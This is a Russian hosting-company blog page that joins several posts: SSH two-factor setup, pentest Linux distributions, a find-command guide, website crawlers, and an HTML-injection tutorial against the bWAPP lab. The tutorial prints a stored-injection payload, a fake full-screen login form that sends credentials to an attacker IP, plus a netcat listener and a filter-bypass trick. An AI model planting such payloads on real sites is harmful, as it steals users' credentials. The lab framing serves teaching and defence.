Блог компании alexhost

Часто задаваемый вопрос, как надежно защитить свой VPS / выделенный сервер от взлома? Поэтому я решил написать инструкцию о внедрении двухфакторной аутентификации.

2FA является вторым уровнем защиты данных, благодаря которому получить доступ к учетной записи можно только после подтверждения собственной личности. Теперь, даже если злоумышленник будет знать логин и пароль, благодаря двухфакторной аутентификации он не сможет получить доступ к вашему серверу.

Наличие двухфакторной аутентификации сводит вероятность доступа злоумышленников к учетной записи практически к нулю, гарантируя сохранность данных пользователя.

Если вы до сих пор убеждены в том, что, придумывая сложный пароль, вы гарантированно защитите свой сервер от взлома, а все личные данные от кражи, вы глубоко заблуждаетесь. На сегодняшний день хакеры используют огромное количество способов для быстрого подбора даже самых сложных паролей, потому двухфакторная аутентификация является важнейшей мерой безопасности, которой не стоит пренебрегать.



Берем в руки телефон и осуществляем настройку приложения аутентификатора. Сделать это достаточно просто. Можно использовать разные программы, но я рекомендую Twilio Authy 2-Factor Authentication.
Скачать ее можно по этой ссылке: https://play.google.com/store/apps/details?id=com.authy.authy&hl=ru
Официальный сайт программы: authy.com
Преимуществом Twilio Authy 2-Factor Authentication является возможность работать сразу на нескольких устройствах одновременно, даже на десктопе или ноутбуке. В Google Authenticator такой возможности нет. Если вы вдруг потеряете свой смартфон, вы сохраните все свои данные для доступа к аккаунтам.
Устанавливаем приложение с Google Play и запускаем его. Затем система попросит ввести код страны и номер телефона. Обязательно указывайте тот номер телефона, к которому у вас имеется доступ. Также не забудьте указать свой e-mail.



Следующий шаг подтверждение. Выберите тот способ, который наиболее удобен для вас получение sms-сообщения или ответ на звонок.
Пакет аутентификатора нужно будет установить в систему. Делается это следующим образом:
Для Debian 9/10:
root@alexhost:~# apt install libpam-google-authenticator - y

Для CentOS в первую очередь нужно будет подключить epel репозиторий:
root@alexhost:~# yum install epel-release

Только после этого можно будет установить пакет:
root@alexhost:~# yum install google-authenticator

На следующем этапе запускаем
root@alexhost:~# google-authenticator

Система задаст вопрос: Do you want authentication tokens to be time-based (y/n. Отвечаем y, т.к такой вариант наиболее надёжный.



На вопрос Do you want me to update your "/root/.google_authenticator" file? (y/n) отвечаем y

На вопрос Do you want to disallow multiple uses of the same authentication token? This restricts you to one login about every 30s, but it increases your chances to notice or even prevent man-in-the-middle attacks (y/n) отвечаем в зависимости от того, насколько сильно вы беспокоитесь о безопасности и готовы ради нее пожертвовать удобством.

Дело в том, что войти, используя аутентификатор, можно будет не чаще, чем раз в 30 секунд. Не слишком удобно, но однозначно безопаснее.

Дальше нас ждет еще один вопрос: By default, a new token is generated every 30 seconds by the mobile app. In order to compensate for possible time-skew between the client and the server, we allow an extra token before and after the current time. This allows for a time skew of up to 30 seconds between authentication server and client. If you experience problems with poor time synchronization, you can increase the window from its default size of 3 permitted codes (one previous code, the current code, the next code) to 17 permitted codes (the 8 previous codes, the current code, and the 8 next codes). This will permit for a time skew of up to 4 minutes between client and server. Do you want to do so? (y/n) отвечаем y

Очередной вопрос: If the computer that you are logging into isn't hardened against brute-force login attempts, you can enable rate-limiting for the authentication module. By default, this limits attackers to no more than 3 login attempts every 30s.

Вновь смотрите, что для вас важнее удобство или безопасность. Единственного правильного ответа нет, все зависит от ваших предпочтений. Если вы ответите y, система разрешит не более 3 попыток входа в течение 30 секунд.



Следующее, что вам нужно будет сделать это нажать на + в приложении аутентификаторе и отсканировать предложенный qr код в терминале



Затем понадобится установить защитный пароль для бекапов, который будет состоять минимум из 6 символов. Разумеется, все аккаунты, добавленные в приложение, сохраняются в облаке.
Сохраните свой аккаунт под любым удобным вам именем



Внимание! Не забудьте записать экстренные коды. В рассматриваемом нами случае, это:
Your emergency scratch codes are:
13455461
88816366
91315051
48752467
40022285

root@alexhost:~# nano /etc/pam.d/sshd

В самом конце файла необходимо будет добавить auth required pam_google_authenticator.so
Сохраните файл Ctrl+O, а затем нажмите Enter
Выходим из редактора, нажав одновременно клавиши Ctrl+X
Кстати, вы без проблем сможете воспользоваться другим текстовым редактором. Вам вовсе необязательно использовать nano



Следующее, что нужно сделать:
root@alexhost:~# nano /etc/ssh/sshd_config заменить ChallengeResponseAuthentication no на ChallengeResponseAuthentication yes
Не забудьте обязательно добавить в конце файла AuthenticationMethods keyboard-interactive
Нажимаем Ctrl+O и сохраняем файл, затем Enter
Выходим из редактора Ctrl+X



На одном из последних этапов нужно будет перезапустить службу ssh
root@alexhost:~# systemctl restart sshd

Подключаемся. Система сперва запрашивает пароль, затем двухфакторный ключ



Вот и все поздравляем, настройка успешно завершена!

---

Немного рекламы

1.5 GB RAM / 1 Ядро / 10GB SSD диска 4 /месяц или 11.88 в год!
4GB RAM / 2 Ядро / 40GB SSD диска 10 /месяц или 60 в год!
8GB RAM / 4 Ядра / 80GB SSD диска от 16 /месяц или 144 в год!
ТУТ AlexHost.com

Топ-10 лучших дистрибутивов Linux для этичного взлома и пентеста в 2020 году
В зависимости от задач этичный хакинг требует использования большого арсенала хакерских инструментов. Самостоятельный поиск длительный и трудоемкий процесс, который по душе не каждому. Благо, что существуют уже готовые дистрибутивы со всем необходимым инструментарием для:

• Этичного взлома.
• Пентестов.
• Других операций в сфере кибербезопасности.

ТОП-10 лучших дистрибутивов Linux для белого хакера

Kali Linux



Kali Linux самая популярная ОС для этичного взлома и пентестов. В качестве основы использует дистрибутив Debian. Первая версия вышла в феврале 2006 года на замену семейству BackTrack Linux.

В Kali Linux предустановлено около 100 хакерских инструментов для различных операций, таких как:
Тестирование на проникновение.
Анализ вредоносного ПО.
Криминалистический анализ.
Сбор информации.
Сетевое сканирование.
Прочее.

Вдобавок у Kali один из самых больших репозиториев, где можно найти инструменты для любой задачи.
Скачать Kali Linux.

Parrot Security OS


Parrot Security OS одна из лучших ОС для взлома, пентестов и криминалистического анализа. Предназначенная для этических хакеров и профессионалов в области кибербезопасности.

Операционная система Parrot вносит такой же вклад в сообщество безопасности, как и Kali Linux, с множеством инструментов для взлома и отличным графическим интерфейсом.

Сопоставимый по размерам с Kali репозиторий, в котором собрано множество замечательных хакерских инструментов для новичков и экспертов.
Разработано FrozenBox. Первый выпуск состоялся в июне 2013 года. Как и Kali основан на Debian, а в качестве графической среды использует MATE.

Скачать Parrot Security OS

BackBox Linux


Backbox Linux 3-я ОС в нашем списке. В качестве основы использует более дружелюбный для новичков Ubuntu LTS.
В качестве среды рабочего стола используется XFCE.
BlackBox хороший выбор для пентеста, так как содержит самые профессиональные и популярные инструменты для этой сферы, такие как:
MSF.
NMAP.
BurpSuite.
Armitage.
SQLMap.
Другие.

Разработано BackBox Team. Первый выпуск состоялся 9 сентября 2010 года.

Скачать BackBox

BlackArch Linux


Black Arch Linux на основе Arch Linux. Легкая и быстрая ОС для этичного взлома и тестов на проникновение. Дистрибутив подходит для элиты белых хакеров и всех тех, кто может работать с Linux на профессиональном уровне.
Black Arch содержит около 2500 инструментов для взлома, которые охватывают практически все моменты в сфере кибербезопасности.
В качестве среды рабочего стола используются Fluxbox и OpenBox.
Огромный репозиторий с более чем 1 500 инструментов. Первый релиз состоялся в 2013 году.

Скачать BlackArch

Pentoo

Pentoo ОС для этического взлома на Gentoo с неплохой коллекцией хакерских инструментов. Первый выпуск был в июне 2005 года. На данный момент дистрибутив давно не обновлялся и его можно назвать устаревшим.

Samurai Web Testing Framework (Samurai-WTF):


Samurai WTF узкоспециализированная ОС для теста веб-приложений. Содержит только инструменты WebApp Pentest:
Burpsuite
SQLMap
И другие

В качестве основы использует Ubuntu. Первый релиз состоялся в 2008 году.

Скачать Samurai WTF

Network Security Toolkit (NST)


Network Security Toolkit профессиональная ОС для работы в сфере сетевой безопасности. Основана на Fedora.
Содержит профессиональные инструменты в области Network PenTest.
Первый выпуск был в 2003 году.
Скачать NST

WifiSlax


Wifislax ОС для этичного взлома и работы с Wi-Fi сетями. Основана на Ubuntu.
В наличии много инструментов для:
Этичного взлома
Проникновения
Тестирования Wi-fi

Обычно используется в корпоративных сетях, чтобы обеспечить к ней безопасный доступ сотрудников. Дистрибутив разработан итальянской командой безопасности.
Скачать Wifislax

Bugtraq


Bugtraq дистрибутив Linux с богатым инструментарием для белого хакинга, разработан для:
Пентестов
Обратной разработки
Анализа вредоносного ПО

В качестве основы используется Debian. Первый выпуск состоялся в 2012 году.
Скачать Bugtraq

Cyborg Hawk


Cyborg Hawk еще один замечательный дистрибутив для пентестов на основе Ubuntu. Содержит более 700 хакерских инструментов. Разработано командой Cyborg Hawk из Австралии.
Скачать Cyborg Hawk

Выбор лучшей ОС для этического взлома и тестов на проникновение это верный шаг к изучению концепций белого хакинга и пентестов, который позволяет улучшить свои навыки и защитить активы компании от киберпреступников.

Также не стоит забывать, что профессия белого хакера становится все более популярной, а главное прибыльной. Сегодня топовый white hat зарабатывает в несколько раз больше среднего программиста:
В 2,7 раза в США
В Индии в 16 раз
В 15,6 раз в Аргентине
В Латвии в 5,2 раза

Согласно данным The 2020 Hacker Report только на вознаграждениях белые хакеры заработали более 40 миллионов, а их совокупных доход составил свыше 80 миллионов долларов за 2019 год.

Любой из дистрибутивов Linux для этичного взлома можно установить на серверах AlexHost всего от 0,99 в месяц. Круглосуточная поддержка, высокая надежность и полная анонимность позволят вам эффективно использовать white hat инструменты как в учебных, так и коммерческих целях.

Иногда критически важно быстро найти нужный файл или информацию в системе. Порой можно ограничиться стандартами функциями поиска, которыми сейчас обладает любой файловый менеджер, но с возможностями терминала им не сравниться.

Команда find это невероятно мощный инструмент, позволяющий искать файлы не только по названию, но и по:

• Дате добавления.
• Содержимому.
• Регулярным выражениям.

Данная команда будет очень полезна системным администраторам для:

• Управления дисковым пространством.
• Бэкапа.
• Различных операций с файлами.

Команда find в Linux производит поиск файлов и папок на основе заданных вами критериев и позволяет выполнять действия с результатами поиска.

Синтаксис команды find:

$ find directory-to-search criteria action

Где:

• directory-to-search (каталог поиска) это отправной каталог, с которой find начинает поиск файлов по всем подкаталогам, которые находятся внутри. Если не указать путь, тогда поиск начнется в текущем каталоге;
• criteria (критерий) критерий, по которым нужно искать файлы;
• action (действие) что делать с каждым найденным файлом, соответствующим критериям.

Поиск по имени

Следующая команда ищет файл s.txt в текущем каталоге:

$ find . -name "s.txt"./s.txt

Где:

• . (точка) файл относится к нынешнему каталогу
• -name критерии по которым осуществляется поиск. В данном случае поиск по названию файла.

В данном случае критерий -name учитывает только символы нижнего регистра и файл S.txt не появиться в результатах поиска. Чтобы убрать чувствительность к регистру необходимо использовать iname.

$ find . -iname "s.txt"./s.txt./S.txt

Для поиска всех изображений c расширением .png нужно использовать шаблон подстановки *.png:

$ find . -name "*.png"./babutafb.png./babutafacebook.png./Moodle2.png./moodle.png./moodle/moodle1.png./genxfacebook.png

Можно использовать название каталога для поиска. Например, чтобы с помощью команды find найти все png изображения в каталоге home:

$ find /home -name "*.png"find: `/home/babuta/.ssh': Permission denied/home/vagrant/Moodle2.png/home/vagrant/moodle.png/home/tisha/hello.pngfind: `/home/tisha/testfiles': Permission deniedfind: `/home/tisha/data': Permission denied/home/tisha/water.pngfind: `/home/tisha/.cache': Permission denied

Если выдает слишком много ошибок в отказе разрешения, тогда можно добавить в конец команды 2> /dev/null. Таким образом сообщения об ошибках будут перенаправляться по пути dev/null, что обеспечит более чистую выдачу.

find /home -name "*.jpg" 2>/dev/null/home/vagrant/Moodle2.jpg/home/vagrant/moodle.jpg/home/tisha/hello.jpg/home/tisha/water.jpg

Поиск по типу файла

Критерий -type позволяет искать файлы по типу, которые бывают следующих видов:

• f простые файлы;
• d каталоги;
• l символические ссылки;
• b блочные устройства (dev);
• c символьные устройства (dev);
• p именованные каналы;
• s сокеты;

Например, указав критерий -type d будут перечислены только каталоги:

$ find . -type d../.ssh./.cache./moodle

Поиск по размеру файла

Допустим, что вам необходимо найти все большие файлы. Для таких ситуаций подойдет критерий -size.

• "+" Поиск файлов больше заданного размера
• "-" Поиск файлов меньше заданного размера
• Отсутствие знака означает, что размер файлов в поиске должен полностью совпадать.

В данном случае поиск выведет все файлы более 1 Гб (+1G).

$ find . -size +1G./Microsoft_Office_16.29.19090802_Installer.pkg./android-studio-ide-183.5692245-mac.dmg

Единицы измерения файлов:

• c Байт
• k Кбайт
• M Мбайт
• G Гбайт

Поиск пустых файлов и каталогов

Критерий -empty позволяет найти пустые файлы и каталоги.

$ find . -empty./.cloud-locale-test.skip./datafiles./b.txt..../.cache/motd.legal-displayed

Поиск времени изменения

Критерий -cmin позволяет искать файлы и каталоги по времени изменения. Для поиска всех файлов, измененных за последний час (менее 60 мин), нужно использовать -60:

$ find . -cmin -60../a.txt./datafiles

Таким образом можно найти все файлы в текущем каталоге, которые были созданы или изменены в течение часа (менее 60 минут).

Для поиска файлов, которые наоборот были изменены в любое время кроме последнего часа необходимо использовать +60.

$ find . -cmin +60

Поиск по времени доступа

Критерий -atime позволяет искать файлы по времени последнего доступа.

$ find . -atime +180

Таким образом можно найти файлы, к которым не обращались последние полгода (180 дней).

Поиск по имени пользователя

Опция user username дает возможность поиска всех файлов и каталогов, принадлежащих конкретному пользователю:

$ find /home -user tisha 2>/dev/null

Таким образом можно найти все файлы пользователя tisha в каталоге home, а 2>/dev/null сделает выдачу чистой без ошибок в отказе доступа.

Поиск по набору разрешений

Критерий -perm ищет файлы по определенному набору разрешений.

$ find /home -perm 777

Поиск файлов с разрешениями 777.

Операторы

Для объединения нескольких критериев в одну команду поиска можно применять операторы:

• -and
• -or
• -not

Например, чтобы найти файлы размером более 1 Гбайта пользователя tisha необходимо ввести следующую команду:

$ find /home  -user tisha  -and  -size +1G  2>/dev/null

Если файлы могут принадлежать не только пользователю tisha, но и пользователю pokeristo, а также быть размером более 1 Гбайта.

$ find /home \( -user pokeristo -or -user tisha \)  -and  -size +1G  2>/dev/null

Перед скобками нужно поставить обратный слеш "\".

Действия

К команде find можно добавить действия, которые будут произведены с результатами поиска.

• -delete Удаляет соответствующие результатам поиска файлы
• -ls Вывод более подробных результатов поиска с:
  
  • Размерами файлов.
  • Количеством inode.
• -print Стоит по умолчанию, если не указать другое действие. Показывает полный путь к найденным файлам.
• -exec Выполняет указанную команду в каждой строке результатов поиска.

-delete

Полезен, когда необходимо найти и удалить все пустые файлы, например:

$ find . -empty -delete

Перед удалением лучше лишний раз себя подстраховать. Для этого можно запустить команду с действием по умолчанию -print.

-exec:

Данное действие является особенным и позволяет выполнить команду по вашему усмотрению в результатах поиска.

-exec command {} \;

Где:

• command это команда, которую вы желаете выполнить для результатов поиска. Например:
  
  • rm
  • mv
  • cp
• {} является результатами поиска.
• \; Команда заканчивается точкой с запятой после обратного слеша.

С помощью exec можно написать альтернативу команде delete и применить ее к результатам поиска:

$ find . -empty -exec rm {} \;

Другой пример использования действия -exec:

$ find . -name "*.jpg" -exec cp {} /backups/fotos \;

Таким образом можно скопировать все .jpg изображения в каталог backups/fotos

Заключение

Команду find можно использовать для поиска:

• Файлов по имени.
• Дате последнего доступа.
• Дате последнего изменения.
• Имени пользователя (владельца файла).
• Имени группы.
• Размеру.
• Разрешению.
• Другим критериям.

С полученными результатами можно сразу выполнять различные действия, такие как:

• Удаление.
• Копирование.
• Перемещение в другой каталог.

Команда find может сильно облегчить жизнь системному администратору, а лучший способ овладеть ей больше практиковаться.

Из Википедии веб-краулер или паук бот, который с просматривает всемирную паутину, как правило, с целью индексации. Поисковики и другие веб-сайты используют краулеры для обновления своего содержимого или индексации содержимого других сайтов.

Давайте начнем!!

Metasploit

Вспомогательный поисковый модуль Metasploit представляет собой модульный поисковый робот, который будет использоваться вместе с wmap или автономно.

use auxiliary/crawler/msfcrawlermsf auxiliary(msfcrawler) > set rhosts www.example.commsf auxiliary(msfcrawler) > exploit

Видно, что был запущен сканер, с помощью которого можно найти скрытые файлы на любом веб-сайте, например:

• about.php
• jquery contact form
• html и т. д.

Что невозможно сделать вручную при помощи браузера.

Httrack

HTTrack это бесплатный краулер и автономный браузер с открытым исходным кодом. Он позволяет полностью скачать веб-сайт, рекурсивно строя все каталоги
получая:

• HTML
• изображения
• другие файлы

HTTrack упорядочивает относительную структуру ссылок исходного сайта.

Введем следующую команду внутри терминала

httrack http://tptl.in O /root/Desktop/file

Он сохранит вывод в заданном каталоге /root/Desktop/file

На скриншоте можно увидеть, что Httrack скачал немало информации о веб-сайте, среди которой много:

• html
• JavaScript файлов

Black Widow

Представляет собой загрузчик веб-сайтов и офлайн браузер. Обнаруживает и отображает подробную информацию для выбранной пользователем веб-страницы. Понятный интерфейс BlackWidow с логическими вкладками достаточно прост, но обилие скрытых возможностей может удивить даже опытных пользователей. Просто введите желаемый URL и нажмите Go. BlackWidow использует многопоточность для быстрой загрузки всех файлов и проверки ссылок. Для небольших веб-сайтов операция занимает всего несколько минут.

Введем свой URL http://tptl.in в поле адрес и нажмем Go.

Нажимаем кнопку Start, расположенную слева, чтобы начать сканирование URL-адресов, а также выбираем папку для сохранения выходного файла. На скриншоте видно, что просматривался каталог C:\Users\RAJ\Desktop\tptl, чтобы сохранить в нем выходной файл.

В каталоге tptl теперь будут храниться все данные веб-сайта:

• изображения
• контент
• html
• php
• JavaScript файлы

Website Ripper Copier

Website Ripper Copier (WRC) это универсальная высокоскоростная программа-загрузчик веб-сайтов. WRC может загружать файлы веб-сайтов на локальный диск для просмотра в автономном режиме, извлекать файлы веб-сайтов определенного размера и типа, такие как:

• Изображения
• Видео
• Аудио

Также WRC может извлекать большое количество файлов в качестве диспетчера загрузки с поддержкой возобновления.

Вдобавок WRC является средством проверки ссылок на сайты, проводником и веб-браузером с вкладками, предотвращающим всплывающие окна. Website Ripper Copier единственный инструмент для загрузки веб-сайтов, который может:

• возобновлять прерванные загрузки из:
  
  • HTTP
  • HTTPS
  • FTP-соединений
• получать доступ к сайтам, которые защищены паролями
• поддерживать веб-файлы cookie
• анализировать скрипты
• обновлять полученные сайты или файлы
• запускать более пятидесяти потоков извлечения

Скачать его можно здесь.

Выбираем websites for offline browsing.

Вводим URL-адрес веб-сайта как http://tptl.in и нажимаем next.

Указываем путь к каталогу, чтобы сохранить результат, после чего жмём run now.

При открытии выбранного каталога tp, внутри него будут файлы:

• CSS
• php
• html
• js

Burp Suite Spider

Burp Suite Spider это инструмент для автоматического сканирования веб-приложений, более подробно о котором уже писали на habr. В большинстве случаев желательно отображать приложения вручную, но с помощью Burp Spider данный процесс можно автоматизировать, что упростит работу с очень большими приложениями или при нехватке времени.

На скриншоте видно, что http-запрос был отправлен "пауку" с помощью контекстного меню.

Веб-сайт был добавлен на карту сайта под целевой вкладкой в качестве новой области для веб-сканирования, в результате которого была собрана информация в форме:

• Php
• Html
• Js

HTML считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.

Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.

Содержание:

• Что такое HTML?
• Что такое HTML-инъекция?
• Угрозы HTML-инъекции
• HTML-инъекция и XSS
• Типы инъекций
  
  • Сохраненный HTML
  • Отраженный HTML
    
    • GET
    • POST
    • Текущий URL
• Защита от HTML-инъекции

Что такое HTML?

HTML (HyperText Markup Langauge) это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из гипертекста, чтобы включить текст внутри текста в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.

Что такое элемент?

Элемент это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними.

HTML-тег

Тег HTML маркирует фрагменты содержимого, такие как:

• заголовок
• абзац
• форма и т. д.

Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:

• начальный тег (открывающий тег)
• конечный тег (закрывающий тег)

Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.

Атрибуты HTML

Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами имя/значение, так что за именем атрибута следует знак равенства и значение атрибута.

<a href = "https://alexhost.com"> Надежный и быстрый хостинг для ваших сайтов</a>

Здесь:

• href это имя атрибута
• https://alexhost.com значение атрибута

Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.

Базовая HTML-страница

Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением .html, которые сохраняются и запускаются через веб-браузер.

Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:

<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=http://hackingarticles.in>HACKING ARTILCES </a></h2><br><p>Author Raj Chandel</p></center></body></html>

• html корневой элемент каждой HTML-страницы
• head метаинформацию о документе
• title заголовок веб-страницы
• body видимое содержимое страницы с атрибутом bgcolor как розовый.
• br определяет строку разрыва или следующую строку.
• h1 большой заголовок.
• p абзац
• a тег привязки, который помогает нам установить гиперссылку.

С основными моментами HTML разобрались, а для более подробного изучения можно почитать руководство.

Теперь давайте попробуем найти основные лазейки и узнать, как злоумышленники внедряют произвольные коды HTML в уязвимые веб-страницы.

Что такое HTML-инъекция?

HTML-инъекция является одной из самых простых уязвимостей, благодаря чему получила широкое распространение.

Возникает, когда веб-страница не может:

• Дезинфицировать вводимые пользователем данные
• Проверить вывод

Благодаря html-инъекции злоумышленник может внедрять вредоносный HTML-код в приложение через уязвимые поля, чтобы он мог изменять содержимое веб-страницы и даже собирать некоторые конфиденциальные данные.

Давайте рассмотрим, как выполняются такие атаки с использованием HTML-инъекции.

Рассмотрим веб-приложение, которое страдает от уязвимости HTML-инъекции и не проверяет какой-либо конкретный ввод. Обнаружив данную уязвимость, злоумышленник вводит свою вредоносную HTML-форму входа с приманкой, например, Бесплатные билеты в кино, чтобы обманом заставить жертву предоставить свои конфиденциальные учетные данные.

Теперь на пораженной странице пользователи будут видеть приманку Бесплатные билеты в кино, при клике по которой откроется фиктивная форма входа, созданная злоумышленником.

Угрозы HTML-инъекции

Когда поля ввода не дезинфицированы должным образом на веб-странице, тогда это может привести к атакам:

• с использованием межсайтовых скриптов (XSS)
• подделки запросов на стороне сервера (SSRF)

HTML-инъекция и XSS

На первый взгляд HTML-инъекция во многом похожа на межсайтовый скриптинг. Однако во время XSS-атаки можно внедрять и выполнять Javascript коды, а при HTML-инъекции приходится обходится только определенными HTML тегами.

Теперь давайте углубимся в различные атаки с использованием HTML-инъекции и рассмотрим необычные способы, с помощью которых мы можем испортить веб-страницы и получить учетные данные жертвы.

Сохраненный HTML

Сохраненный HTML внедренный вредоносный скрипт постоянно сохраняется на сервере веб-приложений, который затем передает его обратно пользователю, когда он посещает внедренную веб-страницу. Однако, когда клиент нажимает на полезную нагрузку, которая отображается как официальная часть веб-сайта, внедренный HTML-код запускается браузером. Наиболее распространенный пример сохраненного HTML это опция комментариев в блогах, которая позволяет любому пользователю вводить свой отзыв в форме комментариев для администратора или других пользователей. Давайте теперь попробуем использовать эту сохраненную уязвимость HTML и получить некоторые учетные данные.

Использование сохраненного HTML

Для манипуляция с HTML-инъекциями нам понадобиться приложение bWAPP, которое идет в комплекте с Kali Linux и другими ОС для белого хакинга.

Я открыл целевой IP-адрес в своем браузере и вошел в bWAPP как bee: bug, далее я установил для параметра Choose Your Bug значение HTML Injection Stored (Blog) и активировал кнопку взлома.

Теперь мы будем перенаправлены на веб-страницу, которая страдает от уязвимости HTML-инъекции, позволяющая пользователю отправить свою запись в блог, как показано на снимке экрана.

Для начала мы создадим обычную запись пользователя, чтобы подтвердить, что введенные данные успешно сохранены в базе данных веб-сервера, которая, таким образом, отображается в Поле ввода.

Теперь давайте попробуем внедрить нашу вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на эту целевую веб-страницу и перенаправит захваченный запрос на наш IP-адрес. Введите следующий HTML-код в заданное текстовое поле, чтобы настроить HTML-атаку.

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid credenitals:<br><form name="login" action="http://personeltest.ru/away/192.168.0.7:4444/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form>

На изображении ниже видно, что при нажатии кнопки Submit появляется новая форма входа, которая теперь находится на веб-сервере приложения и будет отображаться всякий раз при посещении пользователями данной страницы.

Давайте теперь запустим прослушиватель netcat через порт 4444, чтобы перехватывать запросы жертв.

nc lvp 4444

Теперь нужно подождать, пока жертва не загрузит данную страницу в своем браузере и не введет свои учетные данные.

На изображении выше видим, что пользователь Raj открыл веб-страницу и попытался войти в учетную запись с помощью пароля 123. Теперь вернемся к нашему прослушивателю и проверем перехваченные им данные.

На изображении видно, что мы успешно получили учетные данные.

Отраженный HTML

Отраженный HTML возникает, когда веб-приложение немедленно отвечает на введенные пользователем данные, не проверяя их. Это может привести к тому, что злоумышленник внедрит исполняемый код браузера в один ответ HTML.

Вредоносный скрипт не сохраняется на веб-сервере, поэтому злоумышленнику необходимо отправить вредоносную ссылку через фишинг, чтобы поймать пользователя.

Отраженную уязвимость HTML можно легко обнаружить в поисковых системах веб-сайта, так как злоумышленник использует текстовое поле поиска для ввода произвольного HTML-кода. Если веб-сайт уязвим, тогда страница результатов будет возвращена в ответ на эти HTML-объекты.

Отраженный HTML бывает трех типов:

• Отраженный HTML GET. Запрашивает данные из определенного источника.
• Отраженный HTML POST. Оправляет данные на сервер для создания/обновления ресурса.
• Отраженный HTML Текущий URL.

Отраженный HTML GET

Мы создали веб-страницу, на которой пользователи могут оставлять отзывы со своим именем.
Когда пользователь Raj Chandel отправляет свой отзыв как Good, появляется сообщение Thanks to Raj Chandel for your valuable time.

Этот мгновенный ответ и пара имя/значение в URL-адресе показывают, что эта страница может быть уязвима для HTML-инъекции.

Давайте теперь попробуем ввести несколько HTML-кодов в эту форму и проверим уязвима страница или нет.

<h1>Raj Chandel</h1>

Установите "Отзыв" на "Good".

На изображении ниже видно, что имя пользователя Raj Chandel было изменено в качестве заголовка.

Почему это произошло? Давайте посмотрим на следующий фрагмент кода.

Разработчик не настроил никакой проверки ввода, поэтому сайт просто повторя сообщение с благодарностью, к которому добавлялось имя с помощью переменной $ _GET.

Бывают случаи, когда разработчик настраивает некоторые проверки в полях ввода, которые отображают HTML-код обратно на экран без его визуализации.

На изображении видно, что при попытке выполнить HTML-код в поле имени он отбрасывается обратно в виде обычного текста.

Значит ли это, что уязвимость здесь залатана?

Давайте проверим все это, перехватив его исходящий запрос с помощью burp suite, а затем отправим захваченный запрос прямо на вкладку Repeater.

На вкладке Repeater, при нажатии кнопки Go мы видим, что HTML объекты были здесь декодированы:

Копируем весь HTML-код:

<a href = http://hackingarticles.inhibited> <h2> Raj </h2> </a>

Вставляем его во вкладку Decoder, нажимаем Encode as и выбираем URL-адрес.
Когда мы получим закодированный вывод, то снова установим его в Encode as для URL, чтобы получить его как в формате двойного URL-кодирования.

Теперь скопируем полный URL с двойной кодировкой и вставим его в поле name = на вкладке Repeater в параметре Request. Нажмите кнопку GO, чтобы проверить сгенерированный ответ.

Отлично!!! На изображении видно, что ответ успешно обработан.

Теперь остается просто внести аналогичные изменения во вкладку Proxy и нажать кнопку Forward. На изображении видно, что мы испортили данную веб-страницу, используя ее проверенные поля.

Давайте посмотрим на фрагмент кода, чтобы увидеть, где разработчик выполнил проверку ввода.

На изображении ниже видно, что здесь разработчик сделал функцию hack для переменных данных. Он даже декодировал < и > для $data и $input, далее он использовал встроенную PHP-функцию urldecode over для $input для декодирования URL.

На изображении ниже видно, что разработчик реализовал функцию hack в поле имени.

Отраженный HTML POST

Как и в случае с веб-страницей GET, здесь также уязвимы поля Имя и Отзыв.
Поскольку реализован метод POST, то данные формы не будут отображаться в URL-адресе.
Опять попробуем изменить страницу, но в этот раз добавим изображение вместо статического текста.

<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На изображении ниже видно, что логотип Ignite technologies был размещен перед экраном, поэтому злоумышленник может даже внедрить другие медиа-форматы, такие как:

• Видео
• Аудио
• Гифки

Отраженный HTML Текущий URL

Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице? Да, необязательно иметь поля ввода, такие как:

• Поле комментариев
• Поле поиска
• Другие поля

Некоторые приложения отображают ваш URL-адрес на своих веб-страницах, который HTML-инъекция использует вместо поля ввода.

На изображении выше вы можете видеть, что текущий URL-адрес отображается на веб-странице как http://192.168.0.16/hack/html_URL.php. Воспользуемся этим преимуществом и посмотрим, что мы можем сграбить.

Настройте свой burp suite и захватите текущий HTTP-запрос.

Теперь обработаем этот запрос с помощью:

/hack/html_URL.php/<h1>Hey_are_you_there?</h1> 

Нажмите кнопку Forward, чтобы проверить результат в браузере.

Отлично!!! На изображении ниже видно, что мы успешно испортили веб-сайт, просто вставив желаемый HTML-код в URL-адрес веб-приложения.

Здесь разработчик использовал глобальную переменную PHP как $ _SERVER для захвата URL-адреса текущей страницы. Кроме того, он изменил имя хоста на HTTP_HOST и запрошенное местоположение ресурса на URL-адрес с REQUEST_URI и поместил все это в переменную $url.

Перейдя в раздел HTML, он просто установил echo с переменной $ url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.

Защита от HTML-инъекции

• Установка HTML-скрипта, который будет фильтровать метасимволы из пользовательского ввода.
• Реализация функции для проверки вводимых пользователем данных, чтобы они не содержали каких-либо конкретных тегов, которые могут привести к виртуальным искажениям.

Whonix это дистрибутив Linux на основе Debian, который разработан для обеспечения повышенной безопасности и конфиденциальности. Высокая анонимность достигается средствами VirtualBox и Tor. Whonix снижает угрозу от распространенных векторов атак, сохраняя при этом удобство использования.

Сильно перенастроенная база Debian запускается на нескольких виртуальных машинах, обеспечивая существенный уровень защиты от вредоносных программ и утечек IP-адресов.
